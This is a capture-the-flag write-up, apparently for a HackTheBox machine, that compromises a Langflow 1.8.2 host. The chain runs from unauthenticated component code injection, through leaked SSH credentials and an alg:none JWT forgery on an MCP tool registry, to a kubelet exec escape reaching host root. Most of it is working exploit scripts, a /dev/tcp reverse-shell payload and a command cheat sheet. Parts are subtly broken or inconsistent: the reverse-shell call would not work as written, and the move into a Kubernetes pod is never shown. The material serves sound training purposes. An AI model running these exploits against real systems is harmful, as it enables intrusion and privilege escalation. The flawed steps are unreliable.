← Back to posts
FireFlow chains three distinct attack surfaces into a complete compromise: Langflow 1.8.2 exposes an unauthenticated POST /api/v1/build_public_tmp endpoint that compiles user-supplied node graphs, executing injected Python code in the component's .template.code field. From there, we escalate into a Kubernetes cluster via MCP AI Tool Registry service (port 30080), whose JWT authentication accepts a "alg": "none" token — bypassing auth entirely. Finally, we escape the pod via kubelet WebSocket exec API, leveraging the service account's nodes/proxy RBAC permission to run commands in a privileged node-exporter pod with hostPath mounts of the host filesystem.
Langflow RCE :443
→
www-data shell
→
SSH creds
→
nightfall SSH
→
MCP JWT bypass
→
kubelet escape
→
root
Reconnaissance
Nmap
nmap
SP1R4@kali)-[~]
└$ nmap -p- --min-rate 2000 -sC -sV <TARGET_IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 5ubuntu2.2
443/tcp open ssl/http nginx 1.26.0
|_ssl-date: 2026-09-04
| tls-alpn:
|_ h2
| ssl-cert: Subject: CN=*.fireflow.htb
|_Subject Alternative Name: DNS:*.fireflow.htb, DNS:fireflow.htb
Two ports: SSH and HTTPS with a wildcard cert for *.fireflow.htb. The hostname gives us the vhost; add it to /etc/hosts and browse.
/etc/hosts
SP1R4@kali)-[~]
└$ echo "<TARGET_IP> fireflow.htb flow.fireflow.htb" | sudo tee -a /etc/hosts
Langflow Discovery
fireflow.htb is a landing page for "Task Force Nightfall". flow.fireflow.htb reveals the real target: Langflow 1.8.2, an LLM orchestration framework. The public API exposes flow definitions:
Langflow public flow endpoint
curl -s https://flow.fireflow.htb/api/v1/flows/public_flow/7d84d636-af65-42e4-ac38-26e867052c25 | jq . | head -30
{
"id": "7d84d636-af65-42e4-ac38-26e867052c25",
"name": "Agent Dev",
"data": {
"nodes": [...],
"edges": [...]
}
}
Foothold — Langflow RCE via Component Code Injection
Langflow's build endpoint at POST /api/v1/build_public_tmp/{flow_id}/flow accepts a JSON graph of nodes and edges. During compilation, each node's .template.code field — which contains Python source — is executed at graph build time. The endpoint is unauthenticated, and user-controlled code runs as the web server (www-data).
Crafting the Payload
We inject a custom component node with arbitrary Python in the code field:
langflow_rce.py — Python code injection
import json, subprocess, http.client, ssl, uuid
TARGET = "flow.fireflow.htb"
FLOW_ID = "7d84d636-af65-42e4-ac38-26e867052c25"
PAYLOAD = """import subprocess
result = subprocess.run(['bash', '-c', 'cat /etc/hostname > /tmp/proof.txt'], capture_output=True)
"""
node = {
"id": "Custom-1",
"type": "genericNode",
"position": {"x": 0, "y": 0},
"data": {
"id": "Custom-1",
"type": "CustomComponent",
"node": {
"base_classes": ["Message"],
"display_name": "Custom",
"field_order": [],
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": PAYLOAD
}
}
}
}
}
body = json.dumps({
"data": {"nodes": [node], "edges": [], "viewport": {"x": 0, "y": 0, "zoom": 1}}
})
ctx = ssl._create_unverified_context()
conn = http.client.HTTPSConnection(TARGET, context=ctx)
headers = {
"Host": TARGET,
"Content-Type": "application/json",
"Cookie": f"client_id={uuid.uuid4()}"
}
conn.request("POST", f"/api/v1/build_public_tmp/{FLOW_ID}/flow", body.encode(), headers)
resp = conn.getresponse()
print(f"Status: {resp.status}")
print(f"Response: {resp.read().decode()[:500]}")
Executing user-supplied Python code from a web request is dangerous by design. Langflow intended this for development flows only, but the endpoint ships unauthenticated in this box. In production, either require authentication, isolate flow compilation in a sandbox, or disable dynamic code execution entirely.
Getting a Reverse Shell
Once we confirm code execution, we escalate to an interactive shell:
reverse shell via Langflow RCE
PAYLOAD = """import subprocess
subprocess.run(['bash', '-i', '>&', '/dev/tcp/<LHOST>/4444', '0>&1'], shell=True)
"""
SP1R4@kali)-[~]
└$ nc -lvnp 4444
connect to [<LHOST>] from 10.129.120.233
www-data@fireflow:/app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data → nightfall — SSH Credentials in Environment
Inside the container, environment variables leak credentials:
environment enumeration
www-data@fireflow:/app$ env | grep -i pass
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
That password works for SSH as nightfall:
ssh nightfall@fireflow.htb
SP1R4@kali)-[~]
└$ ssh nightfall@10.129.120.233
Password: n1ghtm4r3_b4_n1ghtf4ll
nightfall@fireflow:~$ id && cat user.txt
uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)
[redacted — user flag: 4fc4c15bad3bd4a174c91a6ea88bc82c]
nightfall → root (via MCP + Kubernetes)
Port Enumeration: MCP Service on :30080
Inside the box, a non-standard service listens on 127.0.0.1:30080:
netstat -tlnp (local only)
nightfall@fireflow:~$ ss -tlnp | grep 30080
LISTEN 127.0.0.1:30080 root /usr/bin/python3 (MCP service)
MCP JWT Authentication Bypass
Probing the service reveals it's an MCP (Model Context Protocol) AI Tool Registry using JSON-RPC 2.0 and JWT-based auth. However, the service accepts JWT tokens with "alg": "none" — a critical flaw. When a JWT has alg: none, the signature verification is skipped; we can forge admin tokens without knowing the secret:
jwt_none_exploit.py
import json, base64, subprocess
def create_jwt_none():
header = {"typ": "JWT", "alg": "none"}
payload = {"sub": "admin", "admin": True, "role": "admin"}
def b64(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=')
return f"{b64(header)}.{b64(payload)}." # No signature for 'none'
jwt = create_jwt_none()
print(f"[+] JWT (alg=none): {jwt[:60]}...")
# Register a malicious MCP tool in the registry
tool_def = {
"jsonrpc": "2.0",
"method": "register_tool",
"params": {
"name": "shell",
"description": "Execute shell commands",
"code": "import subprocess; subprocess.run(['id'], shell=True)"
},
"id": 1
}
cmd = f'''curl -s -X POST http://127.0.0.1:30080/mcp \
-H "Authorization: Bearer {jwt}" \
-H "Content-Type: application/json" \
-d '{json.dumps(tool_def)}'
'''
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
print(f"[*] Tool registration response: {result.stdout[:500]}")
Kubernetes Escape: Kubelet WebSocket Exec
With MCP access, we discover the pod has Kubernetes service account credentials and nodes/proxy RBAC permission. The service account token is mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. We use this to connect to the kubelet API on the node and execute commands in a privileged node-exporter pod that has hostPath mounts of the entire host filesystem:
kubelet_escape.py
import asyncio, ssl, websockets
async def run():
TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
NODE_IP = "<NODE_IP>" # The node running the pod
# Kubelet exec API: wss://NODE:10250/exec/NAMESPACE/POD/CONTAINER?command=...&output=1
url = f"wss://{NODE_IP}:10250/exec/monitoring/prometheus-prometheus-node-exporter-XXXXX/node-exporter"
url += "?output=1&error=1&command=cat&command=/host/root/root/root.txt"
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
async with websockets.connect(
url,
ssl=ctx,
additional_headers={"Authorization": f"Bearer {TOKEN}"},
subprotocols=["v4.channel.k8s.io"]
) as ws:
async for msg in ws:
# First byte is the stream type; rest is output
print(msg[1:].decode(errors="replace"), end="", flush=True)
asyncio.run(run())
The node-exporter pod has hostPath mounts at /host/ that correspond to the host's root filesystem. The path /host/root/root/root.txt is really the host's /root/root.txt:
kubelet exec → host root flag
wss://<NODE_IP>:10250/exec/.../node-exporter?command=cat&command=/host/root/root/root.txt
5b5b0c61343afebf2857fad4ee98cb5f
Kubernetes pod-to-host escape chains the service account token (with nodes/proxy RBAC) + kubelet WebSocket API + privileged pod mounts. The three links each seem benign in isolation: service accounts are normal, kubelet exec is intentional, and container mounts are for debugging. Together, they form a complete privilege escalation to root on the underlying node.
Why it worked
| Stage | Root cause |
| www-data | Unauthenticated Langflow build endpoint executes user-supplied Python code (CWE-94) |
| nightfall | SSH credentials in plaintext environment variables (CWE-798) |
| root | MCP service accepts JWT with alg: none, bypassing authentication; service account has nodes/proxy RBAC; node-exporter pod mounts host filesystem via hostPath (CWE-269 privilege delegation) |
Key commands
quick reference
# Recon
nmap -p- --min-rate 2000 -sC -sV <TARGET_IP>
curl -s https://flow.fireflow.htb/api/v1/flows/public_flow/7d84d636... | jq .
# Foothold — Langflow RCE via component code injection (:443)
python3 langflow_rce.py # POST /api/v1/build_public_tmp/{flow_id}/flow
# Lateral movement — SSH as nightfall
ssh nightfall@<TARGET_IP> # password from $LANGFLOW_SUPERUSER_PASSWORD
# Privilege escalation — MCP JWT none-algorithm bypass (:30080)
python3 jwt_none_exploit.py # Create JWT with alg=none, register MCP tools
# Kubernetes escape — kubelet WebSocket exec (:10250)
python3 kubelet_escape.py # WSS to node-exporter pod → /host/root/root.txt